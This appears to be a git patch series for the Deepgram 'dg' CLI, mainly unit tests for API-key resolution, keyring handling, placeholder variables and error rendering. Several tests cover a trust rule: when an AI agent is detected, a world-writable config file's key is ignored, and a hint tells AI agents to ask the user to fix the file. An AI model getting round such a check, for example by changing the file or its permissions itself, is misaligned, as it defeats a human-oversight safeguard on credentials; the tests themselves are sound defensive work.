+    assert err.value.code == "auth_required"
+    output._output_config.update(agentic=True)
+    try:
+        result = transport.render(err.value, command_path="listen")
+    finally:
+        output._output_config.update(agentic=False)
+    assert result.error == expected
+    assert result.hint == FILE_HINT
+    assert result.next_step is None
+    text = f"{result.error} {result.hint}"
     assert "not set in the configuration file" not in text
     assert "deepctl login" not in text
     assert "dg login" not in text
@@ -982,6 +993,16 @@ def deny(*args, **kwargs):
     assert len(texts) == 1 and "set DEEPGRAM_API_KEY instead" in texts[0]
 
 
+def _render_guard_error(manager, error) -> None:
+    """The two stderr lines BaseCommand prints for guard()'s coded error."""
+    from deepctl_core import transport
+    from rich.markup import escape
+
+    result = transport.render(error, command_path="projects", auth_manager=manager)
+    output.print_error(escape(result.error))
+    output.print_hint(escape(result.hint))
+
+
 def _run_projects_guard(capsys):
     """Config load + notices + guard, as a `dg projects` run renders them."""
     from deepctl_core.auth import AuthenticationError, AuthManager
@@ -990,8 +1011,10 @@ def _run_projects_guard(capsys):
     try:
         config = Config()
         config_module.flush_config_notices()
-        with pytest.raises(AuthenticationError):
-            AuthManager(config).guard()
+        manager = AuthManager(config)
+        with pytest.raises(AuthenticationError) as raised:
+            manager.guard()
+        _render_guard_error(manager, raised.value)
     finally:
         output._output_config.update(agentic=False)
     return capsys.readouterr().err
@@ -1034,8 +1057,10 @@ def test_untrusted_hint_follows_the_error_when_nothing_warned(real_home, monkeyp
     plant_with_key(real_home, 0o666)
     output._output_config.update(agentic=True)
     try:
-        with pytest.raises(AuthenticationError):
-            AuthManager(Config()).guard()
+        manager = AuthManager(Config())
+        with pytest.raises(AuthenticationError) as raised:
+            manager.guard()
+        _render_guard_error(manager, raised.value)
     finally:
         output._output_config.update(agentic=False)
     lines = [line for line in capsys.readouterr().err.splitlines() if line.strip()]
diff --git a/packages/deepctl-core/tests/unit/test_credentials.py b/packages/deepctl-core/tests/unit/test_credentials.py
new file mode 100644
index 00000000..3cf3a01e
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_credentials.py
@@ -0,0 +1,630 @@
+"""deepctl_core.credentials: one resolver, 0.4.2's precedence."""
+
+from __future__ import annotations
+
+import json
+import os
+import subprocess
+import sys
+import textwrap
+import threading
+import time
+from datetime import datetime, timedelta, timezone
+from pathlib import Path
+from typing import Any
+
+import pytest
+import yaml
+from deepctl_core import auth as auth_module
+from deepctl_core import config as config_module
+from deepctl_core import credentials, hosts, output, transport
+from deepctl_core.auth import AuthManager, AuthRequiredError
+from deepctl_core.config import Config
+
+pytestmark = pytest.mark.skipif(
+    not sys.platform.startswith("linux"), reason="XDG layout (Linux)"
+)
+
+KEYRING_SERVICE = auth_module.KEYRING_SERVICE
+
+
+class FakeKeyring:
+    """A dict-backed keyring; ``hang`` makes reads block until released."""
+
+    def __init__(self, entries: dict[str, str] | None = None) -> None:
+        self.entries = dict(entries or {})
+        self.reads: list[str] = []
+        self.deletes: list[str] = []
+        self.hang: threading.Event | None = None
+
+    def get_password(self, service: str, username: str) -> str | None:
+        assert service == KEYRING_SERVICE
+        self.reads.append(username)
+        if self.hang is not None:
+            self.hang.wait(10)
+        return self.entries.get(username)
+
+    def delete_password(self, service: str, username: str) -> None:
+        self.deletes.append(username)
+        self.entries.pop(username, None)
+
+    def set_password(self, service: str, username: str, value: str) -> None:
+        self.entries[username] = value
+
+
+@pytest.fixture(autouse=True)
+def home(tmp_path, monkeypatch):
+    monkeypatch.setattr(config_module, "_pending_notices", [])
+    monkeypatch.setattr(config_module, "_seen_notices", set())
+    monkeypatch.setattr(hosts, "_reported", set())
+    home = tmp_path / "home"
+    home.mkdir()
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(home))
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    for name in output.AI_AGENT_ENV_MARKERS:
+        monkeypatch.delenv(name, raising=False)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+    return home
+
+
+@pytest.fixture
+def kr(monkeypatch) -> FakeKeyring:
+    fake = FakeKeyring()
+    monkeypatch.setattr(auth_module, "keyring", fake, raising=False)
+    return fake
+
+
+def write_config(home: Path, data: dict[str, Any], mode: int = 0o600) -> Path:
+    directory = home / ".config" / "deepctl"
+    directory.mkdir(parents=True, exist_ok=True)
+    path = directory / "config.yaml"
+    path.write_text(yaml.safe_dump(data))
+    os.chmod(path, mode)
+    return path
+
+
+# ── 0.4.2's get_api_key(), verbatim in substance, as the golden ─────────
+
+
+def golden_042(config: Config, explicit: str | None, kr: FakeKeyring) -> str | None:
+    if explicit:
+        return explicit
+    profile_name = config.profile or "default"
+    current_profile = config.get_profile(profile_name)
+    expired, _ = credentials.credential_expiry(config, profile_name)
+    if not expired:
+        api_key = kr.entries.get(f"api-key.{profile_name}")
+        if api_key:
+            return api_key
+        if current_profile.api_key:
+            return current_profile.api_key
+    return os.getenv("DEEPGRAM_API_KEY") or None
+
+
+def whoami_source_042(config: Config, key: str | None, kr: FakeKeyring) -> str:
+    """`dg whoami`'s key_source rule (0.4.2), plus the flag."""
+    if key is None:
+        return credentials.KEY_SOURCE_NONE
+    name = config.profile or "default"
+    if kr.entries.get(f"api-key.{name}") == key:
+        return credentials.KEY_SOURCE_KEYRING
+    env = os.getenv("DEEPGRAM_API_KEY")
+    if config.get_profile(name).api_key == key:
+        return credentials.KEY_SOURCE_ENV if env == key else credentials.KEY_SOURCE_FILE
+    return credentials.KEY_SOURCE_ENV
+
+
+PROFILE_SOURCES = ("none", "--profile", "DEEPGRAM_PROFILE", "user-file default")
+
+
+@pytest.mark.parametrize("profile_source", PROFILE_SOURCES)
+@pytest.mark.parametrize("flag", [False, True])
+@pytest.mark.parametrize("keyring_set", [False, True])
+@pytest.mark.parametrize("file_set", [False, True])
+@pytest.mark.parametrize("env_set", [False, True])
+def test_precedence_matches_042(
+    home, kr, monkeypatch, profile_source, flag, keyring_set, file_set, env_set
+):
+    profile = "default" if profile_source == "none" else "work"
+    data: dict[str, Any] = {"profiles": {}}
+    if file_set:
+        data["profiles"][profile] = {"api_key": "f" * 39 + "1"}
+    if profile_source == "user-file default":
+        data["default_profile"] = "work"
+    write_config(home, data)
+    if keyring_set:
+        kr.entries[f"api-key.{profile}"] = "f" * 39 + "2"
+    if env_set:
+        monkeypatch.setenv("DEEPGRAM_API_KEY", "f" * 39 + "3")
+    if profile_source == "DEEPGRAM_PROFILE":
+        monkeypatch.setenv("DEEPGRAM_PROFILE", "work")
+    config = Config(profile="work" if profile_source == "--profile" else None)
+    explicit = "f" * 39 + "4" if flag else None
+
+    resolved = AuthManager(config, explicit).resolve()
+
+    want = golden_042(config, explicit, kr)
+    assert resolved.api_key == want
+    assert resolved.profile == profile
+    assert resolved.profile_source == profile_source
+    if flag:
+        assert resolved.key_source == credentials.KEY_SOURCE_FLAG
+        assert kr.reads == []  # --api-key never reads the keyring
+    else:
+        assert resolved.key_source == whoami_source_042(config, want, kr)
+
+
+def test_keyring_read_once_per_run(home, kr, monkeypatch):
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "f" * 40)
+    auth = AuthManager(Config())
+    auth.guard()
+    auth.get_api_key()
+    auth.get_credential_source()
+    auth.has_profile_credentials()
+    auth.is_authenticated()
+    auth.get_project_id()
+    assert transport._key_source(auth) == credentials.KEY_SOURCE_ENV
+    assert kr.reads == ["api-key.default"]
+
+
+def test_login_forgets_the_cached_answer(home, kr, monkeypatch):
+    auth = AuthManager(Config())
+    assert auth.get_api_key() is None
+    monkeypatch.setattr(auth, "verify_credentials", lambda *a: (True, "ok", None))
+    auth.login_with_api_key("f" * 40)
+    assert auth.get_api_key() == "f" * 40
+
+
+def test_project_id_precedence(home, kr, monkeypatch):
+    write_config(home, {"profiles": {"default": {"project_id": "p-file"}}})
+    monkeypatch.setenv("DEEPGRAM_PROJECT_ID", "p-env")
+    # Config merges the env value over the file's, as in 0.4.2.
+    assert AuthManager(Config()).get_project_id() == "p-env"
+    assert AuthManager(Config(), None, "p-flag").get_project_id() == "p-flag"
+    monkeypatch.delenv("DEEPGRAM_PROJECT_ID")
+    assert AuthManager(Config()).get_project_id() == "p-file"
+    assert kr.reads == []  # project questions don't read the keyring
+
+
+# ── Where the credentials line says they came from ─────────────────────
+
+
+def test_env_key_is_reported_as_the_environments(home, kr, monkeypatch):
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "f" * 40)
+    auth = AuthManager(Config())
+    # 0.4.2 said "profile 'default'": Config merges the env key into the profile.
+    assert auth.get_credential_source() == "environment variables"
+    assert auth.has_profile_credentials() == (True, False)  # 0.4.2's answer
+
+
+def test_stored_key_is_reported_as_the_profiles(home, kr, monkeypatch):
+    kr.entries["api-key.default"] = "f" * 40
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    assert AuthManager(Config()).get_credential_source() == "profile 'default'"
+    write_config(home, {"profiles": {"default": {"api_key": "d" * 40}}})
+    kr.entries.clear()
+    monkeypatch.delenv("DEEPGRAM_API_KEY")
+    assert AuthManager(Config()).get_credential_source() == "profile 'default'"
+    assert AuthManager(Config(), "c" * 40).get_credential_source() == "explicit flags"
+
+
+# ── Trust cells and key expiry ────────────────────────────────
+
+
+@pytest.mark.parametrize("mode", [0o644, 0o666, 0o660])
+@pytest.mark.parametrize("agent", [False, True])
+def test_trust_cells(home, kr, monkeypatch, mode, agent):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: agent)
+    write_config(home, {"profiles": {"default": {"api_key": "f" * 40}}}, mode)
+    resolved = AuthManager(Config()).resolve()
+    writable = bool(mode & 0o022)
+    if agent and writable:
+        assert resolved.api_key is None
+        assert resolved.untrusted_source == "~/.config/deepctl/config.yaml"
+        with pytest.raises(AuthRequiredError) as err:
+            AuthManager(Config()).guard()
+        assert err.value.messages == transport.KEY_UNTRUSTED
+    else:
+        assert resolved.api_key == "f" * 40
+        assert resolved.key_source == credentials.KEY_SOURCE_FILE
+        assert resolved.untrusted_source is None
+
+
+def test_untrusted_file_with_env_key_uses_env(home, kr, monkeypatch):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    write_config(home, {"profiles": {"default": {"api_key": "f" * 40}}}, 0o666)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    resolved = AuthManager(Config()).resolve()
+    assert resolved.api_key == "e" * 40
+    assert resolved.key_source == credentials.KEY_SOURCE_ENV
+
+
+def test_sf1_untrusted_expiry_never_deletes_keyring(home, kr, monkeypatch):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    past = (datetime.now(timezone.utc) - timedelta(days=1)).isoformat()
+    write_config(
+        home,
+        {"profiles": {"default": {"api_key": "f" * 40, "dg_token_expires_at": past}}},
+        0o666,
+    )
+    kr.entries["api-key.default"] = "k" * 40
+    AuthManager(Config()).resolve()
+    assert kr.deletes == []
+    assert kr.entries["api-key.default"] == "k" * 40
+
+
+def test_trusted_expiry_still_deletes_keyring(home, kr):
+    past = (datetime.now(timezone.utc) - timedelta(days=1)).isoformat()
+    write_config(home, {"profiles": {"default": {"dg_token_expires_at": past}}})
+    kr.entries["api-key.default"] = "k" * 40
+    with pytest.raises(auth_module.AuthenticationError, match="expired"):
+        AuthManager(Config()).get_api_key()
+    assert kr.deletes == ["api-key.default"]
+
+
+def test_introspection_never_prunes(home, kr, monkeypatch):
+    """Whoami and login's checks stay read-only, as in 0.4.2."""
+    past = (datetime.now(timezone.utc) - timedelta(days=1)).isoformat()
+    write_config(home, {"profiles": {"default": {"dg_token_expires_at": past}}})
+    kr.entries["api-key.default"] = "k" * 40
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    auth = AuthManager(Config())
+    assert auth.has_profile_credentials() == (False, False)
+    assert auth.has_profile_credentials("default") == (False, False)
+    assert auth.is_authenticated() is True
+    assert kr.deletes == []
+    # A command that uses the key prunes it, once (0.4.2's get_api_key).
+    assert auth.get_api_key() == "e" * 40
+    assert auth.get_api_key() == "e" * 40
+    assert kr.deletes == ["api-key.default"]
+
+
+def test_one_resolution_per_profile_spelling(home, kr):
+    kr.entries["api-key.default"] = "k" * 40
+    auth = AuthManager(Config())
+    auth.resolve(profile="default", use_flags=False, prune=False)
+    auth.resolve()
+    auth.has_profile_credentials()
+    assert kr.reads == ["api-key.default"]
+
+
+# ── Keyring bound ───────────────────────────────────────────────────────
+
+
+def test_keyring_bound_falls_back_once(home, kr, monkeypatch, capsys):
+    # A 2 s bound: the first read waits it once, a second wait would show.
+    monkeypatch.setattr(credentials, "KEYRING_BOUND_S", 2.0)
+    monkeypatch.setattr(credentials, "_interactive", lambda: False)
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    kr.entries["api-key.default"] = "k" * 40
+    kr.hang = threading.Event()
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    try:
+        started = time.monotonic()
+        assert AuthManager(Config()).get_api_key() == "e" * 40
+        assert time.monotonic() - started < 6.0
+        # Cached for the rest of the process: no second wait, no second line.
+        started = time.monotonic()
+        assert AuthManager(Config()).get_api_key() == "e" * 40
+        assert time.monotonic() - started < 1.0
+    finally:
+        kr.hang.set()
+    err = capsys.readouterr().err
+    assert err.count("The system keyring didn't answer within 2 s") == 1
+    assert "k" * 40 not in err and "e" * 40 not in err
+    assert len(kr.reads) == 1
+
+
+def test_keyring_unbounded_at_a_terminal(home, kr, monkeypatch):
+    monkeypatch.setattr(credentials, "_interactive", lambda: True)
+
+    def no_threads(*args: Any, **kwargs: Any) -> None:
+        raise AssertionError("an interactive read runs in the caller's thread")
+
+    monkeypatch.setattr(credentials.threading, "Thread", no_threads)
+    kr.entries["api-key.default"] = "k" * 40
+    assert AuthManager(Config()).get_api_key() == "k" * 40
+
+
+def test_keyring_errors_fall_through(home, kr, monkeypatch):
+    def broken(*args: Any) -> None:
+        raise RuntimeError("no backend")
+
+    monkeypatch.setattr(kr, "get_password", broken)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    assert AuthManager(Config()).get_api_key() == "e" * 40
+
+
+# ── Placeholders ────────────────────────────────────────────────────────
+
+
+def test_placeholder_key_counts_as_unset(home, kr, monkeypatch, capsys):
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "${DEEPGRAM_API_KEY}")
+    assert credentials.drop_env_placeholders() == ["DEEPGRAM_API_KEY"]
+    auth = AuthManager(Config())
+    with pytest.raises(AuthRequiredError):
+        auth.guard()
+    credentials.flush_warnings()
+    err = capsys.readouterr().err
+    assert err.count("ignored DEEPGRAM_API_KEY: it holds a placeholder") == 1
+    assert "${DEEPGRAM_API_KEY}" not in err
+
+
+def test_placeholder_merged_before_the_drop_keeps_the_file_key(home, kr, monkeypatch):
+    write_config(home, {"profiles": {"default": {"api_key": "f" * 40}}})
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "${DEEPGRAM_API_KEY}")
+    config = Config()  # e.g. `dg mcp`'s handoff builds its own Config first
+    resolved = AuthManager(config).resolve()
+    assert resolved.api_key == "f" * 40
+    assert resolved.key_source == credentials.KEY_SOURCE_FILE
+
+
+@pytest.mark.parametrize(
+    "name", ["DEEPGRAM_PROFILE", "DEEPGRAM_PROJECT_ID", "DEEPGRAM_BASE_URL"]
+)
+def test_other_placeholders_count_as_unset(home, kr, monkeypatch, capsys, name):
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    write_config(home, {"profiles": {"default": {"api_key": "f" * 40}}})
+    monkeypatch.setenv(name, "${" + name + "}")
+    credentials.drop_env_placeholders()
+    config = Config()
+    resolved = AuthManager(config).resolve()
+    assert resolved.api_key == "f" * 40
+    assert resolved.profile == "default"
+    assert resolved.project_id is None
+    assert hosts.check_credential_host(config) == hosts.DEFAULT_BASE_URL
+    credentials.flush_warnings()
+    credentials.flush_warnings()
+    err = capsys.readouterr().err
+    assert err.count(f"ignored {name}: it holds a placeholder") == 1
+
+
+def test_profile_placeholder_merged_before_the_drop(home, kr, monkeypatch):
+    write_config(
+        home,
+        {"default_profile": "work", "profiles": {"work": {"api_key": "f" * 40}}},
+    )
+    monkeypatch.setenv("DEEPGRAM_PROFILE", "${DEEPGRAM_PROFILE}")
+    resolved = AuthManager(Config()).resolve()
+    assert resolved.profile == "work"
+    assert resolved.api_key == "f" * 40
+
+
+# ── Env-vs-stored mismatch: implemented, off in 0.5.0 ──────────────────
+
+
+def test_mismatch_check_is_off(home, kr, monkeypatch):
+    kr.entries["api-key.default"] = "k" * 40
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    assert credentials.WARN_ENV_MISMATCH is False
+    assert AuthManager(Config()).resolve().env_mismatch is False
+    monkeypatch.setattr(credentials, "WARN_ENV_MISMATCH", True)
+    assert AuthManager(Config()).resolve().env_mismatch is True
+    assert credentials.fingerprint("k" * 40) != "k" * 40
+
+
+# ── auth_required rendering ────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    ("agentic", "hard", "hint_id", "next_step"),
+    [
+        (False, False, "H-AUTH-REQUIRED", "dg login"),
+        (True, True, "A-AUTH-REQUIRED", "dg login"),
+        (True, False, "C-AUTH-REQUIRED", None),
+    ],
+)
+def test_auth_required_render(monkeypatch, agentic, hard, hint_id, next_step):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: hard)
+    monkeypatch.setitem(output._output_config, "agentic", agentic)
+    result = transport.render(AuthRequiredError(), command_path="listen")
+    assert result.code == "auth_required"
+    assert result.error == "DEEPGRAM_API_KEY is not set"
+    assert result.hint == transport.STRINGS[hint_id].format(prog="dg")
+    assert result.next_step == next_step
+    assert result.model_dump()["schema_version"] == 1
+    assert "details" not in result.model_dump()
+
+
+def test_key_untrusted_render_has_no_next_step(monkeypatch):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    err = AuthRequiredError(untrusted_source="~/.config/deepctl/config.yaml")
+    result = transport.render(err, command_path="listen")
+    assert result.error == (
+        "dg didn't use the API key in ~/.config/deepctl/config.yaml (see the "
+        "warning above), and no other API key is set."
+    )
+    assert result.hint == (
+        "A person must fix this file. If you are an AI agent, ask the user."
+    )
+    assert result.next_step is None
+
+
+def test_catalogue_text_is_0_4_1s(monkeypatch):
+    from deepctl_core import messages
+
+    assert transport.STRINGS["E-KEY-UNTRUSTED"] == messages.E_KEY_UNTRUSTED
+    assert (
+        transport.STRINGS["W_CFG_UNTRUSTED_FILE_HINT"]
+        == messages.W_CFG_UNTRUSTED_FILE_HINT
+    )
+    assert isinstance(AuthRequiredError(), auth_module.AuthenticationError)
+
+
+def _run_command(monkeypatch, capsys, *, requires_project: bool = False) -> Any:
+    import click
+    from deepctl_core.base_command import BaseCommand
+    from deepctl_core.models import BaseResult
+
+    class NeedsAuth(BaseCommand):
+        name = "listen"
+        help = "test command"
+        requires_auth = True
+
+        def handle(self, config, auth_manager, client, **kwargs):  # type: ignore[no-untyped-def]
+            return BaseResult(status="success", message="done")
+
+    NeedsAuth.requires_project = requires_project
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    monkeypatch.setattr("deepctl_core.output.get_output_format", lambda: "json")
+    ctx = click.Context(
+        click.Command("listen"), info_name="dg listen", obj={"config": Config()}
+    )
+    code = 0
+    try:
+        NeedsAuth().execute(ctx)
+    except SystemExit as exc:
+        code = int(exc.code or 0)
+    except click.ClickException:
+        code = 1
+    captured = capsys.readouterr()
+    return code, captured.out, captured.err
+
+
+def test_no_key_prints_coded_result_and_two_lines(home, kr, monkeypatch, capsys):
+    from deepctl_core import base_command
+
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    monkeypatch.setattr(base_command, "_agentic", True)
+    code, out, err = _run_command(monkeypatch, capsys)
+    assert code == 1
+    payload = json.loads(out)
+    assert payload == {
+        "error": "DEEPGRAM_API_KEY is not set",
+        "status": "error",
+        "code": "auth_required",
+        "hint": transport.STRINGS["A-AUTH-REQUIRED"].format(prog="dg"),
+        "next_step": "dg login",
+        "schema_version": 1,
+    }
+    assert err.splitlines() == [
+        "ERROR: DEEPGRAM_API_KEY is not set",
+        "HINT: " + transport.STRINGS["A-AUTH-REQUIRED"].format(prog="dg"),
+    ]
+
+
+def test_untrusted_file_prints_two_lines(home, kr, monkeypatch, capsys):
+    from deepctl_core import base_command
+
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    monkeypatch.setattr(base_command, "_agentic", True)
+    write_config(home, {"profiles": {"default": {"api_key": "f" * 40}}}, 0o666)
+    code, out, err = _run_command(monkeypatch, capsys)
+    assert code == 1
+    payload = json.loads(out)
+    assert payload["code"] == "auth_required"
+    assert payload["next_step"] is None
+    lines = err.splitlines()
+    # The warning's hint prints once per run (0.4.1), before the error.
+    assert lines[-1].startswith("ERROR: dg didn't use the API key in ")
+    assert lines[-2] == (
+        "HINT: A person must fix this file. If you are an AI agent, ask the user."
+    )
+    assert err.count("HINT: ") == 1
+    assert "f" * 40 not in out + err
+
+
+def test_env_key_info_line(home, kr, monkeypatch, capsys):
+    from deepctl_core import base_command
+
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    monkeypatch.setattr(base_command, "_agentic", True)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "f" * 40)
+    code, out, err = _run_command(monkeypatch, capsys)
+    assert code == 0
+    assert err.splitlines() == ["INFO: Using credentials from environment variables"]
+
+
+def test_no_project_warning_only_when_needed(home, kr, monkeypatch, capsys):
+    from deepctl_core import base_command
+
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    monkeypatch.setattr(base_command, "_agentic", True)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "f" * 40)
+    _, _, err = _run_command(monkeypatch, capsys, requires_project=True)
+    assert "WARN: No project ID specified" in err
+
+
+# ── Import cost: no keyring with --api-key, no client in a group's --help ─
+
+
+def _imports(code: str, home: Path) -> set[str]:
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith("DEEPGRAM_") and k not in output.AI_AGENT_ENV_MARKERS
+    }
+    env.update(HOME=str(home), DEEPCTL_TELEMETRY_DISABLED="1")
+    done = subprocess.run(
+        [sys.executable, "-c", textwrap.dedent(code)],
+        capture_output=True,
+        text=True,
+        env=env,
+        timeout=60,
+    )
+    assert done.returncode == 0, done.stderr
+    return set(json.loads(done.stdout.strip().splitlines()[-1]))
+
+
+def test_api_key_flag_never_imports_keyring(home):
+    modules = _imports(
+        """
+        import json, sys
+        from deepctl_core.auth import AuthManager
+        from deepctl_core.config import Config
+        auth = AuthManager(Config(), "f" * 40)
+        auth.guard()
+        assert auth.get_api_key() == "f" * 40
+        auth.get_credential_source()
+        print(json.dumps(sorted(sys.modules)))
+        """,
+        home,
+    )
+    assert "keyring" not in modules
+    assert "httpx" not in modules
+
+
+def test_group_subcommand_help_builds_no_client(home):
+    modules = _imports(
+        """
+        import json, sys
+        import click
+        from deepctl_core.base_command import BaseCommand
+        from deepctl_core.base_group_command import BaseGroupCommand
+
+        class Sub(BaseCommand):
+            name = "sub"
+            help = "sub"
+            def handle(self, config, auth_manager, client, **kwargs):
+                return None
+
+        class Group(BaseGroupCommand):
+            name = "grp"
+            help = "grp"
+            def setup_commands(self):
+                return [click.Command("sub", callback=lambda: None, help="sub")]
+
+        @click.group()
+        @click.pass_context
+        def root(ctx):
+            from deepctl_core.config import Config
+            ctx.obj = {"config": Config()}
+
+        root.add_command(Group().get_click_group())
+        # Not click.testing: on 3.14 it imports pdb, and with it asyncio and ssl.
+        try:
+            root.main(["grp", "sub", "--help"], prog_name="dg")
+        except SystemExit as exc:
+            assert exc.code == 0, exc.code
+        print(json.dumps(sorted(sys.modules)))
+        """,
+        home,
+    )
+    for name in ("httpx", "keyring", "ssl", "deepgram"):
+        assert name not in modules, name
diff --git a/packages/deepctl-core/tests/unit/test_output_channels.py b/packages/deepctl-core/tests/unit/test_output_channels.py
index 8d9bb851..a1545daf 100644
--- a/packages/deepctl-core/tests/unit/test_output_channels.py
+++ b/packages/deepctl-core/tests/unit/test_output_channels.py
@@ -218,7 +218,8 @@ def test_explicit_flags_leave_stdout_parseable(self, capsys) -> None:
         payload = json.loads(captured.out)
         assert payload["status"] == "success"
         assert "Using credentials from" in captured.err
-        assert "No project ID specified" in captured.err
+        # Only commands that need a project say it's missing.
+        assert "No project ID specified" not in captured.err
         assert "Using credentials from" not in captured.out
 
     def test_project_id_line_also_goes_to_stderr(self, capsys) -> None:
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index 735e19ab..d547f247 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -826,6 +826,12 @@ def cli(
         # came from the command line, so it is never saved and gets
         # credentials only if the host is trusted.
         ctx.ensure_object(dict)
+        # An unexpanded ${...} in a DEEPGRAM_* variable counts as unset
+        # (W-ENV-PLACEHOLDER, printed once the output mode is known).
+        from deepctl_core.credentials import drop_env_placeholders
+
+        drop_env_placeholders()
+
         from deepctl_core import Config
 
         # Help from a spec runs no command: only the files' checks and
diff --git a/tests/unit/test_command_imports.py b/tests/unit/test_command_imports.py
index cbc82828..96c492a3 100644
--- a/tests/unit/test_command_imports.py
+++ b/tests/unit/test_command_imports.py
@@ -91,19 +91,7 @@ def _is_group(path: str) -> bool:
 @pytest.mark.parametrize(
     "path",
     [
-        pytest.param(
-            p.split(" "),
-            marks=pytest.mark.xfail(
-                strict=True,
-                reason=(
-                    "a subcommand group's help takes the full path, where the "
-                    "parent group's callback builds an API client (httpx, ssl, "
-                    "keyring) before the subcommand parses --help"
-                ),
-            )
-            if _is_group(p)
-            else (),
-        )
+        p.split(" ")
         for p in sorted(_manifest.commands())
         if " " in p
     ],

From 1a409f2d15a579496e70cf54715696a3038b948b Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:46:36 -0400
Subject: [PATCH 30/88] fix(core): send API requests through one transport

deepctl_core.transport.Transport owns where API requests go and what
they carry. The SDK facade builds its client through it. REST and
WebSocket base URLs come only from check_credential_host (http -> ws,
https -> wss), and Authorization is attached only after that check.

User-visible changes:
- One redirect refusal for REST and WebSocket: a 3xx is
  transport.RedirectRefused, the coded network_unavailable error
  (reason "unexpected redirect") with 0.4.1's text, which names both
  origins and says nothing was sent there (or no audio/text was sent,
  for a socket). for_status() maps every 3xx to it, so the client's own
  redirect check (_failed) and 0.4.1's separate ClickException go;
  deepctl_core.websocket re-exports the error and stays the only
  WebSocket open. Its message and exit_code read as before. Redirects
  were already refused; neither the key nor an upload body reaches
  another origin.
- A connection reset or closed after the request started (a read or
  write error, or the server disconnecting without a response) is
  network_unavailable with E-NETWORK-DROPPED ("dropped before the
  response was complete"). A reset while connecting, DNS and TLS
  failures keep E-NETWORK.
- DEEPGRAM_CLI_INSECURE now applies to the SDK's REST requests too, with
  0.4.1's rule: only 1 or true count, only localhost, 127.0.0.1 and
  [::1] skip certificate verification, every other host is verified
  (with one W-INSECURE-REMOTE warning), and AI agent sessions ignore it.
  The login client uses the same rule. WebSocket streaming, dg api and
  debug probe always verify.
- A WebSocket upgrade refused with an HTTP status maps through the same
  table as REST; DNS, connect and TLS failures map to
  network_unavailable, and an open that times out maps to timeout.
- The shared client keeps no cookies.

A backend seam (RestBackend by default) is where #142's SageMaker
backend plugs in. shared_client, map_exception and raise_for stay
module-level with unchanged signatures. dg whoami takes its default host
from hosts.DEFAULT_BASE_URL.

dg api takes its base URL from the Transport's host check and sends its
request on the process's client, so a dg api call opens one connection
like every other command. It still verifies TLS for every host, as in
0.4.1: when a person has DEEPGRAM_CLI_INSECURE set, dg api uses a
separate always-verified client, and a TLS failure on a loopback host
then says "DEEPGRAM_CLI_INSECURE doesn't apply to dg api, which always
verifies TLS certificates." It asks for no redirects, and keeps 0.4.1's
host scoping for the key.
---
 .../src/deepctl_cmd_api/command.py            |  55 +-
 .../src/deepctl_cmd_api/messages.py           |   6 +
 .../tests/unit/test_api_command.py            |  84 ++-
 .../tests/unit/test_api_host_scope.py         |  16 +-
 .../src/deepctl_cmd_listen/command.py         |  23 +-
 .../tests/unit/test_live_redirect.py          |  26 +-
 .../src/deepctl_cmd_login/command.py          |   6 +-
 .../src/deepctl_cmd_speak/command.py          |  19 +-
 .../tests/unit/test_speak_command.py          |  41 ++
 .../deepctl-core/src/deepctl_core/auth.py     |   5 +-
 .../deepctl-core/src/deepctl_core/client.py   | 137 ++---
 .../src/deepctl_core/transport.py             | 540 +++++++++++++++++-
 .../src/deepctl_core/websocket.py             |  62 +-
 packages/deepctl-core/tests/unit/test_auth.py |   9 +-
 .../tests/unit/test_auth_insecure.py          |  84 +++
 .../deepctl-core/tests/unit/test_client.py    |   9 +-
 .../deepctl-core/tests/unit/test_transport.py | 495 +++++++++++++++-
 .../tests/unit/test_ws_handshake_errors.py    | 104 ++++
 18 files changed, 1490 insertions(+), 231 deletions(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_ws_handshake_errors.py

diff --git a/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py b/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py
index 4792f874..43a434f9 100644
--- a/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py
+++ b/packages/deepctl-cmd-api/src/deepctl_cmd_api/command.py
@@ -1,6 +1,7 @@
 """API command for deepctl."""
 
 import json
+import os
 import shutil
 import subprocess
 import sys
@@ -288,14 +289,22 @@ def _build_headers(
         custom_headers: tuple[str, ...] | list[str] | None,
     ) -> dict[str, str]:
         """Build request headers with auth (when given) and custom headers."""
